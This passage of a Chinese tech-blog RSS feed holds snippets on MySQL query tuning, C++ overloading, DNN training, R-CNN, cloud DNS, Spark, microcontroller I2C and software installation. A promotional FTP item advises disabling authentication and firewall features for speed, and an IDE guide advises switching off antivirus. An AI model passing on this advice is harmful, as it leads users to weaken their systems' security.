属性参数工作温度-20℃~85℃Micro-USB输入电压DC 5V（+/- 10%)输入电压DC 4.3V~5.5V 3 参考资料 RP2040 数据手册：RP2040 datasheet&#xA;W5500数据手册：W5500 datashee&#xA;3.2 原理图 3.3 尺寸图 (单位 : mm) 3.</description>
    </item>
    <item>
      <title>实用性极强的MySQL查询优化策略</title>
      <link>https://bchobby.github.io/posts/d4f0f83523ff8e28a02d20a43143fdff/</link>
      <pubDate>Mon, 25 Dec 2023 19:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4f0f83523ff8e28a02d20a43143fdff/</guid>
      <description>前言 在程序上线运行一段时间后，一旦数据量上去了，或多或少会感觉到系统出现延迟、卡顿等现象，出现这种问题，就需要程序员或架构师进行系统调优工作了。 其中，大量的实践经验表明，调优的手段尽管有很多，但涉及到 SQL调优的内容仍然是非常重要的一环，本文将结合实例，总结一些工作中可能涉及到的 SQL优化策略。 一、查询优化 可以说，对于大多数系统来说，读多写少一定是常态，这就表示涉及到查询的SQL是非常高频的操作。&#xA;前置准备：给一张测试表添加10万条数据。&#xA;使用下面的存储过程给单表造一批数据，将表换成自己的就好了。&#xA;create procedure addMyData() begin declare num int; set num =1; while num &amp;lt;= 100000 do insert into XXX_table values( replace(uuid(),&#39;-&#39;,&#39;&#39;),concat(&#39;测试&#39;,num),concat(&#39;cs&#39;,num),&#39;123456&#39; ); set num =num +1; end while; end ; 然后调用该存储过程：&#xA;call addMyData(); 本篇准备了3张表，分别为学生（student）表，班级（class）表，账户(account)表，各自有50万，1万和10万条数据用于测试。&#xA;二、分页查询优化 分页数量非常大时，查询比较耗时，比如查询student表，使用下面的sql查询，耗时达到0.2秒。&#xA;一般越往后，分页查询效率越低，这就是分页查询的问题所在， 因为，当在进行分页查询时，如果执行 limit 400000,10 ，此时需要 MySQL 排序前4000 10 记录，仅仅返回400000 - 4 00010 的记录，其他记录丢弃，查询排序的代价非常大。&#xA;优化思路：&#xA;一般分页查询时，通过创建 覆盖索引 能够比较好地提高性能，可以通过覆盖索引加子查询形式进行优化。&#xA;1.在索引上完成排序分页操作，最后根据主键关联回原表查询所需要的其他列内容&#xA;SELECT * FROM student t1,(SELECT id FROM student ORDER BY id LIMIT 400000,10) t2 WHERE t1.</description>
    </item>
    <item>
      <title>【c&#43;&#43;】入门2</title>
      <link>https://bchobby.github.io/posts/dd1c3162d98511a5c00152af9fa12826/</link>
      <pubDate>Mon, 25 Dec 2023 18:33:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd1c3162d98511a5c00152af9fa12826/</guid>
      <description>函数重载 函数重载：是函数的一种特殊情况，C++允许在同一作用域中声明几个功能类似的同名函数，这&#xA;些同名函数的形参列表(参数个数 或 类型 或 类型顺序)不同，常用来处理实现功能类似数据类型&#xA;不同的问题。&#xA;c++区分重载函数是根据参数的不同，个数的不同，类型的不同，顺序的不同。&#xA;1.参数的类型不同 int Add(int left, int right) { cout &amp;lt;&amp;lt; &#34;int Add(int left, int right)&#34; &amp;lt;&amp;lt; endl; return left + right; } double Add(double left, double right) { cout &amp;lt;&amp;lt; &#34;double Add(double left, double right)&#34; &amp;lt;&amp;lt; endl; return left + right; } 2.参数的个数不同 void f() { cout &amp;lt;&amp;lt; &#34;f()&#34; &amp;lt;&amp;lt; endl; } void f(int a) { cout &amp;lt;&amp;lt; &#34;f(int a)&#34; &amp;lt;&amp;lt; endl; } 3.</description>
    </item>
    <item>
      <title>[PyTorch][chapter 8][李宏毅深度学习][DNN 训练技巧]</title>
      <link>https://bchobby.github.io/posts/ff58d9ff0db638811de7483ee9fc53ad/</link>
      <pubDate>Mon, 25 Dec 2023 17:58:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff58d9ff0db638811de7483ee9fc53ad/</guid>
      <description>前言：&#xA;DNN 是神经网络的里面基础核心模型之一.这里面结合DNN 介绍一下如何解决&#xA;深度学习里面过拟合,欠拟合问题&#xA;目录：&#xA;DNN 训练常见问题 过拟合处理 欠拟合处理 keras 项目 一 DNN 训练常见问题&#xA;我们在深度学习网络训练的时候经常会遇到下面两类问题：&#xA;1： 训练集上面很差 ： 欠拟合&#xA;2： 训练集上面很好, 测试集上面很差： 过拟合&#xA;二 过拟合解决&#xA;过拟合解决方案&#xA;主要有以下三个处理思路&#xA;1 Early Stopped&#xA;2 L1 L2 正规化&#xA;3 Dropout&#xA;4： 增加训练集上面的数据量&#xA;2.1 Early Stopping&#xA;方案&#xA;这个数据集分为3部分： Training Data,validation data,Test Data&#xA;1 将训练的数据分为Training Data 和validation data&#xA;2 每个epoch结束后（或每N个epoch后)：计算validation data 的 accuracy 3: 更新 最优 validation data accuracy 对应的网络参数&#xA;3 随着epoch的增加，如果validation data 连续多次没有提升，则停止训练；</description>
    </item>
    <item>
      <title>【深度学习-目标检测】01 - R-CNN 论文学习与总结</title>
      <link>https://bchobby.github.io/posts/f5c8b8e0ad82c5b24b46e697cc94884b/</link>
      <pubDate>Mon, 25 Dec 2023 17:48:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5c8b8e0ad82c5b24b46e697cc94884b/</guid>
      <description>论文地址：Rich feature hierarchies for accurate object detection and semantic segmentation&#xA;论文学习 摘要（Abstract） 对象检测性能的现状： 在PASCAL VOC数据集上测量的对象检测性能在过去几年已经达到了一个高点。最佳性能的方法通常是复杂的集成系统，结合了多种低级图像特征和高级上下文。 R-CNN方法的提出： 作者提出了一种简单且可扩展的检测算法，该算法在VOC 2012上的平均精度均值（mAP）比之前的最佳结果提高了30%以上，达到了53.3%。这种方法结合了两个关键见解： 可以将高容量的卷积神经网络（CNN）应用于自下而上的区域提议，以定位和分割对象 （将CNN应用到目标检测领域）。当标记训练数据稀缺时，针对辅助任务的监督预训练，随后进行特定领域的微调，可以显著提升性能。（应用预训练模型+微调 可以显著提高性能） R-CNN的命名与特点： 由于这种方法结合了区域提议（Region Proposal）和CNN，因此被称为R-CNN（带有CNN特征的区域）。论文还展示了一些实验，提供了对网络学习内容的洞察，揭示了一个丰富的图像特征层次结构。 1. 引言（Introduction） 在这部分作者强调了特征在视觉识别任务中的重要性，提出了以CNN为特征提取网络的想法。&#xA;特征的重要性 过去十年，视觉识别任务的进展很大程度上依赖于 SIFT（尺度不变特征变换）以及 HOG（方向梯度直方图）等特征的使用，尽管这些特征在多个视觉任务中表现出色，但是在PASCAL VOC这一经典的视觉识别任务中，2010-2012年的进展相对来说比较缓慢。SIFT（尺度不变特征变换）与HOG（方向梯度直方图）与视觉通路中初级皮层区域V1的复杂细胞相关联，但是实际上识别过程发生在多个阶段，通过这两种方式获得的特征还不够拥有足够的信息量。&#xA;（过去目标检测用的SIFT以及HOG，发展缓慢，且效果不好）CNN在2012年AlexNet网络中发挥了非常大的作用，展示出了CNN在图像分类上任务的优秀性能，是提取特征的优秀的方式，在提高目标检测性能方面具有很大的潜力。（CNN提取特征效果号，CNN有希望取代这两种方式以获取更有信息量的特征） CNN在对象检测中的应用与关联 CNN的兴起，2012年因为AlexNet的提出，并且在ImageNet竞赛中，展现出了CNN在图像分类上的强大能力，标志CNN在视觉识别领域的重要进展。在ILSVRC 2012研讨会上，展开了激烈的讨论，特别是关于CNN在图像分类上的成果能在多大程度上推广到PASCAL VOC挑战上的对象检测中。作者通过将图像分类和对象检测之间的差距桥接起来，明确的回答了这个问题，在这篇论文中展示了CNN可以显著提高对象检测性能的研究，从而证明了CNN在对象检测任务中的有效性和潜力。 2. 对象检测与R-CNN R-CNN方法概述 R-CNN方法的核心： R-CNN 方法结合了 区域提议（Regin Proposals) 和 卷积神经网络（CNN）的特征。这种方法通过在测试的时候生成大约2000个类别独立的区域提议，然后使用CNN从每个区域提议中提取固定长度的特征向量，并且使用线性SVM（支持向量机）对每个区域进行分类。 R-CNN的设计和效率： R-CNN 使用一种简单的技术（仿射图形变形）从每个提议区域中计算固定大小的CNN输入，不论区域的形状如何。（使用这种技术统一了不同大小尺寸的区域提议的特征向量大小）系统的设计使得类别特定的计算仅包括相对较小的矩阵-向量乘积和贪婪的非最大抑制，这是由于特征在所有类别中共享，并且维度比以前使用的区域特征低两个数量级。 R-CNN的训练挑战： 在对象检测中面临的一个挑战是标记数据稀缺，现有的数据量不足以训练大型CNN模型。作者提出的解决方案是：先在大型辅助数据集上进行监督预训练，然后在特定领域的小数据集上进行微调。（使用预训练+微调可以改善数据稀缺的问题，并且能够提高性能） R-CNN的性能提升： 在PASCAL VOC 2010 数据集上，经过微调后R-CNN系统在平均精度上达到 54%，相比于之前基于HOG的模型 33% ，有显著提升。（R-CNN 比 HOG等模型更优秀） R-CNN的应用拓展： 由于R-CNN在区域上操作，自然可以将其扩展到语义分割任务。经过轻微修改后，R-CNN在PASCAL VOC分割任务上也取得了最先进的结果。（R-CNN也能在分割任务获得不错的表现）&#xA;区域提议与特征提取 区域提议（Region Proposals）: R-CNN 首先生成大约2000个类别独立的区域提议，这些提议定义了检测器可用的候选检测集。为了生成这些区域提议，R-CNN 使用了多种方法，主要方式是 选择性搜索（Selective Search）方法。 特征提取（Feature Extraction）: 对于每一个区域提议，R-CNN 使用一个大型卷积神经网络（CNN）来提取固定长度的特征向量。这些特征向量随后被用于后续的分类过程。 特征向量的计算： R-CNN 通过一种简单的技术（仿射图像变形）从每个区域提议中计算固定大小的CNN输入，无论区域的形状如何。这种方法允许从各种形状和大小的区域中提取一致的特征表示。 测试时检测 在测试的时候，会使用选择性搜索（Selective Search）方法在测试图像中提取大约2000个区域提议，这些区域提议定义了检测器可用的候选检测集。对于每个区域提议，通过CNN前向传播来提取特征向量，然后对于每个类别，使用该类别训练的SVM对提取的特征向量进行评分。在得到所有的区域提议的评分后，R-CNN会对每个类别独立的应用非极大抑制（NMS），通过这个步骤排除拒绝那些与得分更高的选定区域具有较高交并比（IOU）重叠的区域。 运行时分析 检测效率的关键属性： 首先，所有CNN参数在所有类别之间共享。CNN计算的特征向量维度较低。 计算时间的分配： 生成区域提议和计算特征的时间在所有类别中被摊销（在GPU上为每张图像13秒，在CPU上为53秒）。类别特定的计算仅包括特征与SVM权重直接按的点积运算和非极大抑制（NMS）。 R-CNN的可拓展性： R-CNN 可以拓展到数千个对象类别，无需使用近似技术（如哈希）即使有10万类别，相关的矩阵乘法在CPU上只需要10秒。 3.</description>
    </item>
    <item>
      <title>相比国科云解析，传统DNS解析技术有哪些局限性？</title>
      <link>https://bchobby.github.io/posts/7720b96b7f941a2f8074f58910962721/</link>
      <pubDate>Mon, 25 Dec 2023 17:34:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7720b96b7f941a2f8074f58910962721/</guid>
      <description>域名系统（DNS）作为互联网的重要基础设施，其解析技术的优劣直接影响到用户访问网站的速度和服务器的性能。传统的DNS解析技术由于其局限性，已经无法满足现代网站的解析需求。国科云解析作为一种基于云技术的新兴DNS解析技术，具有更好的解析性能和安全性。本文对传统解析技术的局限性和云解析的优势做下分析介绍。&#xA;一、传统DNS解析技术的局限性&#xA;1.查询性能较低&#xA;传统解析技术的查询性能较低，解析速度比较慢。传统DNS解析技术往往只有单个服务器，导致用户发起解析请求时，无论距离远近，都由单一服务器给出响应，这就可能导致从发起请求到得到响应，会经过非常多的路由跳数，产生较大的解析时延，进而影响用户访问网站的体验。&#xA;2.负载均衡能力不足&#xA;传统DNS解析技术缺乏高效的负载均衡能力，只能根据简单的轮询机制将流量随机分配给不同的服务器，无法根据服务器的实际性能作出智能调度，这就可能导致某些服务器过载而有些服务器空闲的情况，容易造成线路的拥堵或宕机，以及服务器资源的浪费，影响网站的稳定性。&#xA;安全防护能力较弱&#xA;由于DNS协议本身存在安全漏洞，传统DNS解析技术容易受到DNS缓存投毒的威胁，无法应对DNS劫持带来的安全风险。此外，传统DNS解析在应对DDoS攻击、QPS查询攻击等方面防护能力较弱，在遇到大流量请求或DDoS攻击时，很容易发生线路拥堵或宕机。&#xA;可扩展性较差&#xA;由于DNS服务器中存储了大量域名和IP地址的映射关系，随着网站规模的扩大，DNS服务器必须进行扩容和升级，才能满足解析所需，维护成本非常高。此外，传统解析技术缺乏对动态加载和自动化的支持，无法适应快速变化的互联网环境。&#xA;二、云解析服务的优势和应用场景&#xA;相比之下，云解析服务具有更好的性能、可扩展性和安全性等方面的优势，能够更好地满足现代网站的需求。&#xA;高性能解析&#xA;云解析采用分布式架构和缓存机制，能够大幅提升DNS解析的性能和响应速度。通过将域名映射信息分布式存储在多个节点上，云解析服务可以就近响应用户的查询请求，避免了冗余和重复的查询请求，查询效率大幅提升。&#xA;安全防护能力更强&#xA;云解析采用高防DNS技术，利用流量清洗、弹性带宽和DDoS防火墙等技术，有效应对DDoS攻击、QPS查询等攻击的威胁。此外，云解析支持DNSSEC安全验证，能够对解析记录进行签名，防止攻击者利用DNS缓存投毒进行DNS劫持，确保解析的准确性，避免各种形式的重定向威胁。&#xA;良好的扩展性&#xA;云解析基于云计算平台构建，可利用云计算平台的弹性伸缩和动态调度能力，进行自动扩容和升级，避免因网站规模扩大而导致服务器压力剧增，造成线路拥堵，无法及时响应请求，同时又降低了维护成本，提高了资源利用率。&#xA;智能DNS功能强大&#xA;云解析服务可以实现强大的智能DNS功能。它可以根据用户的地理位置、网络环境和访问请求等因素进行智能调度，将用户请求调度到最佳的服务器节点上，提高用户的访问速度和网站的性能。同时，云解析服务还可以根据用户的行为和偏好进行个性化推荐和服务优化，提高用户体验和网站的商业价值。&#xA;综合运维管理能力强&#xA;云解析服务提供了强大的综合运维管理能力。它支持对域名、子域名、CNAME等资源的全面管理和配置，可以方便地进行域名添加、修改和删除等操作。同时，云解析服务还支持日志监控和告警通知等功能，方便管理员对域名系统的运行状态进行实时监控和管理。这样既提高了运维效率又降低了管理成本。&#xA;综上所述，传统解析技术已经无法满足各行业用户对安全解析、智能解析的迫切需求，云解析在解析速度、精度、安全性和稳定性方面有着明显的优势，逐渐替代传统解析应用于一些重点领域之中。</description>
    </item>
    <item>
      <title>外卖管理系统</title>
      <link>https://bchobby.github.io/posts/fa3ad581ee463c02281e2ed201150db8/</link>
      <pubDate>Mon, 25 Dec 2023 17:13:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa3ad581ee463c02281e2ed201150db8/</guid>
      <description>摘 要 随着外卖订餐在高校越来越普及，传统的电话订餐给顾客跟外卖店带来不方便，如何使订餐更快速，更方便已成为众多高校学生关注的问题了。本外卖订餐管理系统是针对高校外卖店进行具体的需求分析，采用OOA（面向对象分析）和采用UML工具辅助开发分析，基于S2SH（Struts2+Spring+Hibernate）架构进行设计和开发。论文主要描述外卖订餐管理系统的开发流程，分别从需求分析和系统设计、详细设计与系统实现这几个阶段进行描述。&#xA;关键词：订餐管理系统 S2SH OOA&#xA;ABSTRACT&#xA;With more and more popular in universities order take-out, due to the traditional telephone reservation for customers to bring inconvenience take-away meal, how to make more quickly, more convenient has become the concern of the students. The take-away meal management system in colleges and universities is the concrete take-away demand analysis, using object-oriented analysis (OOA) and using UML tools to assist in the development, using Struts2-Spring-Hibernate framework to design and development.</description>
    </item>
    <item>
      <title>Spark生产集群各种使用</title>
      <link>https://bchobby.github.io/posts/699ad2e7e38a4ee4dbf3116af0fcfcb0/</link>
      <pubDate>Mon, 25 Dec 2023 17:12:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/699ad2e7e38a4ee4dbf3116af0fcfcb0/</guid>
      <description>1.环境配置 1.1 版本说明 要求版本是否必须其他事项Hadoop3.3.4是hadoop3.3.0之后原生支持国内主要对象存储Hive3.1.3否实测没有Hive也可以使用sparksql，使用hive更好的管理HDFS数据spark3.3.1是hive和spark整合后，语法为HSQL，自定义函数按照hive使用即可 1.2 相关介绍官网 Hadoop官网：https://hadoop.apache.org/docs/r3.3.4/hadoop-cos/cloud-storage/index.html&#xA;腾讯对象存储cos使用官网：https://cloud.tencent.com/document/product/436/6884&#xA;spark使用官网文档：https://spark.apache.org/docs/3.3.1/sql-ref.html&#xA;hive使用官网文档：https://cwiki.apache.org/confluence/display/Hive/Home#Home-UserDocumentation&#xA;2. 使用实例 2.1 spark集群操作doris集群 脚本实例&#xA;vim test.sh #!/bin/bash dori_test=&#34; CREATE TEMPORARY VIEW spark_doris1 USING doris OPTIONS( &#39;table.identifier&#39;=&#39;demo.t1&#39;, &#39;fenodes&#39;=&#39;xxx:8030&#39;, &#39;user&#39;=&#39;root&#39;, &#39;password&#39;=&#39;xxx&#39; ); CREATE TEMPORARY VIEW spark_doris2 USING doris OPTIONS( &#39;table.identifier&#39;=&#39;demo.t2&#39;, &#39;fenodes&#39;=&#39;xxx:8030&#39;, &#39;user&#39;=&#39;xxx&#39;, &#39;password&#39;=&#39;xxx&#39; ); INSERT INTO spark_doris1 select * from spark_doris2; &#34; spark-sql -e &#34;$dori_test&#34; nohup ./test.sh &amp;gt; ./logs.text 2&amp;gt;&amp;amp;1 &amp;amp; 2.2 spark集群同时操作doris集群和hive集群 vim test.sh #!/bin/bash dori_test=&#34; set spark.debug.maxToStringFields=200 set spark.</description>
    </item>
    <item>
      <title>图书管理系统设计</title>
      <link>https://bchobby.github.io/posts/c799ee59520cd76b6d352a78c9aabc04/</link>
      <pubDate>Mon, 25 Dec 2023 17:10:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c799ee59520cd76b6d352a78c9aabc04/</guid>
      <description>摘 要&#xA;图书管理系统是典型的信息管理系统(MIS),其开发主要包括后台数据库的建立和维护以及前端应用程序的开发两个方面。对于前者要求建立起数据一致性和完整性强、数据安全性好的库。而对于后者则要求应用程序功能完备,易使用等特点。&#xA;因此本人结合开入式图书馆的要求，对MS SQL Server2000数据库管理系统、SQL语言原理、.NET应用程序设计进行了较深入的学习和应用，主要完成对图书管理系统的需求分析、功能模块划分、数据库需求分析，并由此设计了数据库结构和应用程序。系统运行结果证明，本文所设计的图书管理系统可以满足借阅者、图书馆工作人员的双方面的需要。&#xA;目录&#xA;一、 设计的目的和内容 1&#xA;二、 系统需求分析 1&#xA;三、 系统总体设计 1&#xA;3.1 总体功能结构图 1&#xA;3.2 系统流程图 2&#xA;四、 数据库设计 3&#xA;4.1 需求分析及数据字典 3&#xA;4.2 概念设计 4&#xA;4.3 逻辑设计 5&#xA;4.4 物理设计 6&#xA;4.5 SQL语句的实现 6&#xA;4.6 创建视图 7&#xA;4.7 创建存储过程 8&#xA;4.8 创建触发器 9&#xA;五、 使用ER/STUDIO完成数据库设计 10&#xA;六、 代码实现 11&#xA;6.1 “图书管理系统”的功能模块图 11&#xA;6.2 插入功能的实现 11&#xA;6.3修改/删除功能的实现 11&#xA;6.4 查询功能的实现 11&#xA;七、 总结 30</description>
    </item>
    <item>
      <title>芯旺微chipon KF32A156系列 IIC（I2C）模块的基本使用</title>
      <link>https://bchobby.github.io/posts/a65fc4d6edba6efca9d78832859e900b/</link>
      <pubDate>Mon, 25 Dec 2023 17:09:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a65fc4d6edba6efca9d78832859e900b/</guid>
      <description>本文免费开放，也请尊重原创，转载需注明源出处！！！ 芯旺微chipon KF32A156系列 IIC（I2C）模块的基本使用 我们在实际的使用过程中，IIC也是较为常用的通讯方式，像eepron，传感器等会使用到这种通讯方式。&#xA;当然啦，很多工程师也会喜欢使用IO口模拟IIC来做通讯，毕竟很多片子的IIC真的很不好用，而且这个IO口模拟的方式可移植性也是比较强，开源的代码也比较多，本文章主要是说说芯旺微CHIPON156型号的硬件IIC外设，以供参考。&#xA;**本次主要讲解IIC外设的使用，文章使用中断收发的方式来对芯旺微32位机的KF32A156系列配置为主机、从机进行讲解。**本篇幅较长，需要耐心看完。&#xA;如有需要工程代码，还请私聊留下联系方式邮箱等。本文主要是接口函数代码&#xA;主机配置（以7位地址配置讲解） 这里强烈建议，做为主机使用时，尽量使用主循环发送接收的方式，同步通讯，可以不用太担心被其他中断打断导致数据不正确。本次主要在讲解这种方式。&#xA;**配置步骤：**老生常谈三步骤 1、配置IO口：将对应的IO口进行重映射模式，并重映射为IIC（iic_sck,iic_sda）.本文以PG0和PF15为例，由于demo板没有外部上拉，注意下引脚要配置为开漏模式，并启用内部上拉，程序如下：&#xA;void I2c_IO_Init() { GPIO_InitTypeDef GpioConfigPtr; /* Configure GPIO remapping function */ GpioConfigPtr.m_Mode = GPIO_MODE_RMP; /* Configyre GPIO open drain output */ GpioConfigPtr.m_OpenDrain = GPIO_POD_OD; /* PG0,SCL */ GpioConfigPtr.m_Pin = GPIO_PIN_MASK_0; /* Configure pull up */ GpioConfigPtr.m_PullUp = GPIO_PULLUP; /* Configure drop down */ GpioConfigPtr.m_PullDown = GPIO_NOPULL; /* Configure PG0 as I2C0 SCL */ GPIO_Pin_RMP_Config(GPIOG_SFR, GPIO_Pin_Num_0, GPIO_RMP_AF5); GPIO_Configuration(GPIOG_SFR, &amp;amp;GpioConfigPtr); /* PF15,SDA */ GpioConfigPtr.</description>
    </item>
    <item>
      <title>芯旺微chipon IDE KF32 IDE的工程编译，工程调试debug的使用基本教程</title>
      <link>https://bchobby.github.io/posts/aba4401f4ba7edbb62933aa710187299/</link>
      <pubDate>Mon, 25 Dec 2023 17:08:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aba4401f4ba7edbb62933aa710187299/</guid>
      <description>本文免费开放，也请尊重原创，转载需注明源出处！！！ 芯旺微chipon IDE KF32 IDE的工程编译，工程调试debug的使用基本教程 使用芯旺微的工程师们你们好，本篇主要介绍一下IDE的基本使用以及常用的功能，比如编译，下载，debug调试。&#xA;（一）头文件路径的导入 这是最基础的工作，上一篇我们新建了最小工程但是并没有把固件库添加进来。这里来详细介绍&#xA;1、将芯片厂FAE发来的库文件复制粘贴进来，切记保持所有的文件复制都是通过IDE界面操作进来的，而不是直接粘贴到workspace里面。 1 、如下图 芯片厂提供的两个库文件和两个时钟文件&#xA;2、 右键工程 ---- 点击粘贴&#xA;3、将文件粘贴进来后再次 右键工程 — 属性&#xA;4、按照图示步骤，还请选择正确&#xA;5、安图操作选择工作空间 ； 可以使用相对路径，这样你发给别人工程的话别人使用也方便。&#xA;6、选择inc文件，这里都是库的头文件 ； 如果后续自己增加的H文件也是需要将路径引进来的，不过到那个时候应该使用的很熟悉了。&#xA;7 、 切记先 点击应用 ---- 点击确定&#xA;好啦，到这里，你就已经把头文件添加完成了，请记住如有其他头文件路径需要添加也请从这里添加哦。&#xA;简单介绍一下界面的说明&#xA;（二）编译下载 此步骤请确保烧录器和开发板已经连接完毕&#xA;1、选中release模式进行编译，点击 编译按钮 等待编译完成，得到如下图&#xA;点击下载程序即可将程序下载至芯片中。至此编译下载步骤完成，怎么样，操作很上手吧！&#xA;（三）debug调试程序 1、首先编译那里切换为debug模式，点击编译 — 点击 debug按钮&#xA;2、选择 是&#xA;3、简单介绍一下debug界面&#xA;说明一下，当前32位的 IDE 支持断点数为 4 个断点。&#xA;好啦，以上就是关于KF32 IDE的基本操作就全部介绍完了，其他还请参考其他两篇。本文时间20221128&#xA;欢迎建议或者问题方面的私聊本人 。</description>
    </item>
    <item>
      <title>芯旺微chipon IDE KF32 IDE安装教程</title>
      <link>https://bchobby.github.io/posts/1506c2397a001cfe4bfa4dbaa7826da1/</link>
      <pubDate>Mon, 25 Dec 2023 17:03:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1506c2397a001cfe4bfa4dbaa7826da1/</guid>
      <description>原创扣字不易，请尊重原创，转载需注明源出处！！！ 芯旺微chipon的编辑环境IDE和编译环境安装教程&#xA;使用chipon的小伙伴们大家好，我是阿范，网上关于chipon的资料并不多，本人后续会做芯旺微的IDE使用，外设使用，以及相关的应用进行详细解说。由于时间有限，均以32为为例来说的。关于8位机有疑问可以私聊我讨论，看到都会回。&#xA;那今天主要来说说32位机IDE的安装和使用，以方便大家快速入手。本质上也是基于eclipse的编辑环境和GCC编译器，所以熟悉的工程师会更容易上手。其实chipon的安装是比较简单的，无需要license，下一步下一步较多。&#xA;安装步骤 先去官网下载IDE的安装包，附上链接：&#xA;IDE官网下载链接&#xA;选择如图所示的两个，一个是集成环境IDE,一个是批量烧写上位机PRO&#xA;两者的理解可以相似理解为ST的STVP和STVD&#xA;下载完成后，两个安装包，直接解压，点击对应的EXE文件。&#xA;如图片步骤：&#xA;1、&#xA;2、偶尔会有杀毒软件拦截，建议安装前将杀毒软件关掉。&#xA;3 安装路径自己可以选择，尽可能保持不带中文，下一步下一步即可，最后会弹框安装烧录器驱动，这些全部都接受，下一步直到最后即可。&#xA;4、双击该图标，&#xA;5、弹出，点击 KF32 IDE&#xA;6、这里注意 ：&#xA;（1）工作空间路径一定不要带中文路径&#xA;（2）缺省值尽量不要选中，不要选中，不要选中。选中了切换空间麻烦，虽然无意选中后还能去里面配置但是尽量避免这样的麻烦。&#xA;（3）配置ok后点击确定。&#xA;7、好啦，你现在所处的位置界面就是芯旺微chipon的IDE界面啦。这将是你使用chipon芯片天天见的软件啦。&#xA;最后再提一下PRO软件的，这里不详细说了，因为基本都是下一步下一步。安装完成后的界面如图：&#xA;本次安装教程就到此结束啦。本次时间节点20221120 。&#xA;欢迎建议或者问题方面的私聊本人 。</description>
    </item>
    <item>
      <title>0011__三分钟带你快速学习RGB、HSV和HSL颜色空间</title>
      <link>https://bchobby.github.io/posts/fc83cd8ccd3e203e561f961390f9ffaf/</link>
      <pubDate>Mon, 25 Dec 2023 16:57:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc83cd8ccd3e203e561f961390f9ffaf/</guid>
      <description>三分钟带你快速学习RGB、HSV和HSL颜色空间 - 知乎</description>
    </item>
    <item>
      <title>开源地震处理软件Seismic Unix（SU）安装</title>
      <link>https://bchobby.github.io/posts/85a13f54823030614e9a65053849c819/</link>
      <pubDate>Mon, 25 Dec 2023 16:55:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85a13f54823030614e9a65053849c819/</guid>
      <description>Seismic Unix（SU）是著名的开源地震处理软件。&#xA;不同版本的SU安装在不同的系统，教程会有一些区别。下面以SU44R18为例，系统为Ubuntu 18.04。&#xA;SU44R18安装包可从以下链接下载：cwp_su_all_44R18.tar&#xA;其他版本的SU可以从https://nextcloud.seismic-unix.org/s/LZpzc8jMzbWG9BZ下载。&#xA;1. 更新源 sudo apt-get update 2. 安装依赖 依次执行以下命令，遇到y/s选y。&#xA;sudo apt-get install build-essential -y sudo apt-get install libx11-dev -y sudo apt-get install libxt-dev -y sudo apt-get install freeglut3 -y sudo apt-get install freeglut3-dev -y sudo apt-get install libxmu-dev -y sudo apt-get install libxi-dev -y sudo apt-get install gfortran -y sudo apt-get install csh -y 3. 解压安装包 在home路径下建一个安装文件夹（usrname代表自己的用户名），自己命名，比如cwp:&#xA;cd ~ mkdir cwp 将压缩包放在/home/usrname/cwp/路径下，解压：&#xA;cd ~/cwp tar -zxvf cwp_su_all_44R18.</description>
    </item>
    <item>
      <title>提升FTP上传速度的方法（提升FTP下载速度的技巧）</title>
      <link>https://bchobby.github.io/posts/f4c845d0aec44714572c5c882a5388f4/</link>
      <pubDate>Mon, 25 Dec 2023 16:54:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4c845d0aec44714572c5c882a5388f4/</guid>
      <description>在企业日常经营中，快速上传和下载文件至关重要。然而，在使用FTP（文件传输协议）进行文件传输时，速度可能成为瓶颈。为了提升工作效率，以下是一些建议，可以帮助企业提高FTP上传下载速度。&#xA;1、确保网络连接稳定高速，选择具备高带宽和低延迟的网络连接，可以显著提升文件上传和下载速度。同时，使用支持多线程的FTP客户端，能够充分利用带宽，进一步提高传输速度。&#xA;2、优化FTP服务器设置，通过配置FTP服务器的数据传输模式，可以显著提升文件传输速度。FTP客户端通常支持主动和被动模式。在网络环境不稳定或上传速度较慢时，切换到被动模式可能改善某些网络问题。&#xA;3、合理设置FTP客户端也有助于提升速度。根据需要增加最大连接数和最大传输速率等参数。同时，关闭不必要的功能和服务，如FTP客户端的身份验证和防火墙功能，以减轻网络负担，提高传输速度。&#xA;4、使用专业的FTP加速工具是一个不错的选择。这些工具通过优化网络连接、自动选择最佳路径等方式，提高FTP上传和下载速度。一些工具还具备多线程上传和下载功能，能够大幅缩短文件传输时间。&#xA;以镭速(私有化部署方案，也可接入公有云，企业、社会组织用户可申请免费试用)为例，其FTP加速产品是一款FTP加速软件，能直接对接现有FTP服务器系统。使用镭速FTP加速后，传输速度可提升10-100倍，特别是对于已部署了FTP服务器和具备权限控制功能的企业，可在现有基础上实现高速传输。&#xA;镭速的FTP加速产品有以下优势：&#xA;首先，简单易用，客户端使用方式与普通FTP客户端一致，无需专门学习。服务器端无需改造已有的FTP服务器、用户账号、授权、文件配置等信息。&#xA;其次，高性能高效率，镭速Proxy采用事件驱动/异步网络处理模型，单个线程在普通CPU上可支持上千条TCP并发连接处理，最大支持1Gbps的数据吞吐量。智能压缩功能可对文本、程序数据等高压缩文件传输进行优化，帮助节省用户带宽。&#xA;最后，镭速加速服务可与常见的负载均衡器配合，通过横向扩展提升系统整体处理性能和可靠性。&#xA;总之，在使用FTP进行文件传输时，通过综合运用这些方法，相信企业可以获得更快的FTP上传速度，提高工作效率。使用镭速FTP加速产品，为企业提供简单、高效、安全的文件传输解决方案。</description>
    </item>
    <item>
      <title>BERT的学习</title>
      <link>https://bchobby.github.io/posts/73b5211accf8250b7e64b185079f3e83/</link>
      <pubDate>Mon, 25 Dec 2023 16:32:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73b5211accf8250b7e64b185079f3e83/</guid>
